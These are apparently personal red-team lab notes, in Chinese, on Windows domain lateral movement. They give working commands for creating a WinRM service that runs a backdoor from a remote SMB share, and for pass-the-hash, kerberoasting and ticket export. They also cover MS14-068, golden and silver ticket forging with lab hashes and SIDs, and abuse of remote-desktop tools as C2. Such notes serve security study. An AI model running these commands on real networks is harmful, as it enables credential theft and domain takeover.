winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://192.168.30.10:5985 -u:Administrator -p:uu2fu3o@admin

执行SMB匿名服务器中的后门文件

shell winrm invoke Create wmicimv2/Win32_Service @{Name="test2";DisplayName="test2";PathName="cmd.exe /k \\192.168.30.20\smb\Winrm.exe"} -r:http://192.168.30.10:5985 -u:Administrator -p:uu2fu3o@admin

RDP

rdp就是远程桌面协议 默认监听端口为3389,通过已获得的凭据进行代理登录远程主机并进行实时操控

但是可能导致对方用户强行下线,易被发现

还是先看看开没开3389

image-20240926000935064

image-20240926001000955

RDP连接不仅支持明文,也支持hash连接

CS的桌面交换其实就是基于RDP的

image-20240926001313288

window本身的mstsc也是一样的

image-20240926001424727

image-20240926001440656

这些都是明文连接

hash连接

要mimikatz抓下密码

mimikatz privilege::debug   #要管理员权限

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc.exe /restrictedadmin"

C2横向

C2, Command and Control, 命令与控制。主要是指攻击者通过与恶意软件的交互,对被害者进行控制,从而实施恶意活动的含义

下面这两个都是远程协助软件

gotohttp

gotohttp走的是https协议

目标网络情况:

1、能出网,没有限制 #能直接用

2、能出网、有限制(xx端口,不限制https就行)

3、不出网、有限制(不限制https就行)

优点:B2C模式–>不需要安装软件 有浏览器就行

走的是https协议,只要放行443端口就可以实现内网穿透

缺点:

必须要有网络,不限制https

网络唤醒远程主机的时候,安全卫士可能拦截

我们需要把文件放到目标主机上

方法很多 就不多说了

image-20240926004902922

可以看到很小

运行程序

会生成控制码于ID

image-20240926005026067

这个软件在开完后会在当前路径中生成一个配置文件路径

image-20240926005205338

里面有我们需要的信息

image-20240926005238378

直接通过它给的这个host连接

浏览器访问

image-20240926010553357

连接

image-20240926010910286

连上了

image-20240926011402624

RustDesk

RustDesk

优点:无网络(不出网)情况下也可以用

把rustdesk传入目标电脑

因为这是一个远程协助的工具 所以会被杀软列入白名单

同样 他也会有配置文件

本地存放路径:

C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk.toml

image-20240927202509291

image-20240927202542779

配置文件

image-20240927202612230

enc_id就是id

salt就是密码

如果是出网的情况下

我们就直接在本地开一个客户端进行远连就行

image-20240927202740939

如果是不出网的话

我们只需要找一个能与他进行通信的主机就可以了

我们选哟更改一下配置文件

image-20240927203058574

添加

direct-server = 'Y'

direct-access-port = '8443'

image-20240927203216208

我们直接用同网段的主机连ip就行

image-20240927203447919

注意配置文件里的local-ip-addr要是真ip–>192.168.3.32

image-20240927203712819

kerberos协议

简单学习

kerberos学习

windows认证学习

简单理解

image-20240927205855549

当你在进行Hadoop安全访问时 就会用到kerberos协议

认证服务器在验证Client身份后会发一张票证(TGT)

Client将TGT交给票据授权服务器 通过后会通过TGT获取访问Server端的票据(ST)

这样就可以正常访问了

kerberoasting攻击

SPN扫描

SPN:服务主体名称 他是域内服务的唯一标识 每一个服务,都会有一个SPN ,服务在加入域的时候,也会自动注册一个SPN

mysql、http、rdp都会有对应的SPN

使用场景:我们在没有办法获取到域内其他主机的凭据信息(mimikatz抓不到)时,就可以采用kerberoasting

也就是 请求对应的服务,获取服务的凭据(抓SPN凭据),再将服务凭据导入本地进行破解

凭据加密类型rc4

SPN扫描:

setspn -T god.org -q */*   #扫全部

setspn -T god.org -q */* | findstr "MSSQL" #扫MSSQL

image-20240927212603953

工具检测:

Rubeus

Rubeus kerberoast

image-20240927214421084

把这个文件放到目标主机上

然后执行命令就行

image-20240927214925634

这样我们就直接找到了凭据加密类型是rc4的SPN

先请求到票据

查看票据

klist

image-20240927215318596

但是现在这些票据都不是我们需要的

清除票据

klist purge

image-20240927215455023

mimikatz请求SPN

image-20240927215632909

kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433

image-20240927215727486

退出

我们再看看票据

image-20240927215825606

已经有新票证生成

第一个票证是AES加密的 我们用不了

第二个就是RC4加密的 可用

mimikatz导出票据

mimikatz kerberos::list /export

image-20240927220015285

它会把票证导到mimikatz的路径下

image-20240927220058200

把我们需要的票证放到kerberaost的文件夹里

image-20240927220233464

直接用它内置的脚本+凭证名

image-20240927220442507

python tgsrepcrack.py 字典名 "凭证名"

pass.txt是一个字典

PTH

前置

要学习PTH需要知道一些windows认证的相关只是

window认证1

windows认证2

windows本地有个存密码的地方–>sum

image-20240927231011394

这个里面存放着密码的hash

在windows里面 密码的hash称之为NTML hash

在NTML协议存在之前 他的前身叫LM协议

两个的差别在于加密方式不同

LM协议更容易被破解

NTML协议是一种网络认证协议 它是基于挑战/相应认证机制的一种认证模式 它只支持Windows

image-20240927231948264

PTH

PTH:pass the hash(哈希传递)通过密码散列值(通常是NTLM Hash)来进行攻击

PTH是能够在不需要账户明文密码的情况下完成认证的一种技术

它解决了我们渗透中获取不到明文密码、破解不了NTML hash而又想扩大战果的问题

在域环境中,用户登录计算机时使用的账号,计算机会用相同的本地管理员账号和密码 两个账号密码类似因此,如果计算机的本地管理员账密是相同的,我们就可以使用哈希传递的方法登录到内网的其他主机

windows server 2012 R2 之前 LM或NTLM

windows server 2012 R2 之后 NTLM

mimikatz进行PTH攻击

需要交互式shell

mimikatz privilege::debug

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c

image-20240927235133453

通信是在本地

但是我们有凭证 可以直接查看目标根目录

image-20240927235322177

复制文件

image-20240927235550964

impacket进行PTH攻击

套件可以在CS上执行

所以

  • exe上传
  • socks代理无文件落地

先建立socks代理

image-20240928002058523

image-20240928002915710

代理配置

image-20240928003005015

psexec

使用套件的psexec.py

python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

已进入

image-20240928003254127

其他服务同理

smbexec

python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

image-20240928003736029

wmiexec

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

image-20240928003858696

crackMapExec-PTH

这是那个密码喷洒的工具

它同样可以进行pth攻击

密码喷洒,域用户登录pth

proxychains crackmapexec cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录



proxychains crackmapexec cme smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #本地用户HASH登录

PTK

PTK: pass the key 当系统安装了KB2871997补丁并且禁用NTLM的时候,虽然此时我们抓取到的ntlm hash 就失效了,但是可以通过PTK进行攻击

未找到相应环境

mimikatz sekurlsa::ekeys #获取key

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

PTT

PASS THE TICKET

有三种攻击方式

  • 漏洞-MS14068
  • KEKEO
  • mimikatz

MS14068

自己做一张票据

只需要普通用户权限就可以实施攻击

KDC服务(密钥分发中心)的漏洞

原理:它允许身份验证的用户在kerberos票证里面插入任意的PAC,用户可以通过呈现具有改变的PAC的kerberos TGT来获得票证

首先 我们需要admin的sid值

whoami/user

image-20241002195826304

这里的sid是:

S-1-5-21-1218902331-2157346161-1782232778-1132

我们可以基于这个sid值在本地生成一个票据文件

github上找一个ms14-068的poc

image-20241002200503026

-u:用户和域名

-s:这个用户对应的sid值

-d:域控对应内网id

-p:用户对应密码

可以看到已经生成了一个TGT

image-20241002200658162

查看一下当前票据

klist

image-20241002200833003

现在是没有的

好 先把我们本地生成的TGT传到我们已控制的主机上来 这里是webserver

image-20241002201139741

但是现在的票据还只是在主机的文件夹里

我们通过mimikatz导入TGT

mimikatz kerberos::ptc TGT文件名

image-20241002201606144

image-20241002201625291

好 这样的话就注入成功了

klist看下票据

image-20241002201719834

已经有了新票据

读一下域控c盘

dir \\OWA2010CN-GOD\c$

image-20241002202108977

访问成功

清空票据:

klist purge

image-20241002202251074

但是DC域控如果打过对应的漏洞补丁,那这种方法就不行了

拿下域控就好说了

可以直接copy命令

copy shell.exe \\OWA2010CN-GOD\c$

image-20241002203417802

过来了

KEKEO

要求:高权限

原理:因为当前主机在以前的时间内肯定会和其他主机产生过连接,所以本地应该就生成了一些票据,我们可以导出这些票据,然后再导入这些票据进行利用

缺点:票据是有有效期的,如果在有效期内连接过域控的话,就可以使用这些票据

首先我们先把kekeo这个工具传到我们控制的webserver上

导出票据:

kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"

kekeo和mimikatz都会进入到工具里面 然后再输入命令 执行

所以这里我们直接加一个exit 让他执行完命令后退出

这个NTLM哈希就是这个administrator在GOD域内的hash

image-20241002204250442

执行成功

image-20241002204345364

可以看到在webserver的桌面上多了两个票据文件

image-20241002204433553

导入这个administrator的票据

这里我们还是使用这个kekeo来

导入票据

kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

当然你用mimikatz也是一样的

image-20241002204817138

可以看到 成功

klist也有票了

image-20241002204915621

有票了

那么访问也是没有问题的了

image-20241002204949543

只要我们抓到一张域控administator的票 那么域内所有主机都可以通过这个票访问到DC

mimikatz

mimikatz同样可以抓到历史票据

但是不知道票据是否过期(10h)

导出票据

mimikatz sekurlsa::tickets /export

导入票据

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;3e4]-0-0-40a40000-WEBSERVER$@cifs-owa2010cn-god.god.org.kirbi

其他的一样了

黄金票据

简介

实际上黄金票据和白银票据都是在权限维持里

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

且黄金票据不会受到TGT生命周期的影响(默认10小时,最长续订一周)

利用条件

  • 拿到域控 适合做权限维持
  • 有krbtgt用户(这是一个域控用户)的hash值(aeshash ntmlhash等 后面要指定一下算法)

利用

先拿到我们需要的域内信息

域名

这个随便获取 就不多说了

域的SID值

whoami/user

image-20241009104508236

注意 这个SID最后面这个-500表示的是这个用户 所以域的SID值 要把-500去掉

whoami/all

image-20241009104724113

wmic useraccount get name,sid

image-20241009104811055

三种方法都可以

包括cs插件 都可以

域的KRBTGT账户hash

mimikatz直接抓密码

先开权限

mimikatz privilege::debug

image-20241009105310851

然后就可以抓hash了

mimikatz lsadump::lsa /patch

找到

image-20241009105528944

b097d7ed97495408e1537f706c357fc5

还可以指定查krbtgt用户

mimikatz lsadump::dcsync /domain:god.org /user:krbtgt

image-20241009105803897

伪造用户

我们可以伪造域内任意用户 除了krbtgt

看下域内用户

net user

image-20241009105955011

比如说 这里我们伪造一下webadmin

kerberos::golden /user:需要伪造的用户 /domain:域名 /sid:域sid /krbtgt:krbtgt用户的ntlm哈希 /ticket:生成的票据名称

我们生成票据是不需要高权限的

kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:404.kirbi

这个.kirbi是票据的默认后缀 加不加无所谓

image-20241009110357646

生成成功

image-20241009110418147

导入票据

用mimikatz导入票据即可

mimikatz kerberos::ptt 404.kirbi

image-20241009110642513

webadmin访问域控成功

image-20241009110714898

cs本身也可以生成黄金票据

image-20241009111131361

白银票据

简介

黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等

利用条件

  • 拿下域控

利用

域名

同样的 就不多说了

域SID

whoami/user
whoami/all
wmic useraccount get name,sid

三个命令都可以

目标服务器FQDN

就是目标计算机的全名

net config workstation

image-20241009113002960

注意 计算机名是计算机名 计算机全名是计算机全名

可利用的服务

image-20241009113143825

根据这个图来

比如说CIFS(磁盘共享服务)

这个一般都是开着的

抓服务账号hash

还是mimikatzs就行

开debug

mimikatz privilege::debug

抓hash

mimikatz sekurlsa::logonpasswords

image-20241009113605453

我们需要的域内账户 名字是带有$的

需要的是指定机器的NTLM hash 通常情况下,本地机器的名后面会带有一个$

伪造用户

同样是伪造任意用户

这里我们还是伪造webadmin

kerberos::golden /domain:域名 /sid:域sid /target:目标计算机全名 /rc4:服务账号的NTML HASH /service:可利用的服务 /user:要伪造的用户 /ptt

这里的/ptt就是生成了票据后自动导入

我们也可以用黄金票据那个 指定名字 生成在本地 再自己导入

但是白银票据是收到票据周期的影响的

mimikatz kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:OWA2010CN-God.god.org /rc4:a3a8b24a2de322c7de77f7471e9e34d6 /service:cifs /user:webadmin /ptt

image-20241009114320589

可以看到票已经过来了

image-20241009114356041

成功访问到域控

image-20241009114417849

黄金票据与白银票据区别

获取的权限不同

  • 黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务
  • 白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务

认证流程不同

  • 黄金:同KDC交互,但不同AS交互

  • 白银:不同KDC交互,直接访问Sever

加密方式不同

  • 黄金:由krbtgt NTLM HASH 加密

  • 白银:由服务账号 NTLM HASH加密

域委派攻击

好项目

整个内网学下来 还是挺会的 但又不是那么会 而且肯定不会太符合红队的无感渗透 很多情况下都会用到工具 线程也太大了 而且这个横向移动没有权限提升和权限维持学的深刻 有些地方没有深入的学 就比如说kerberos协议啊这种 更多的偏向是使用工具怎么打

后续还会补充学习这边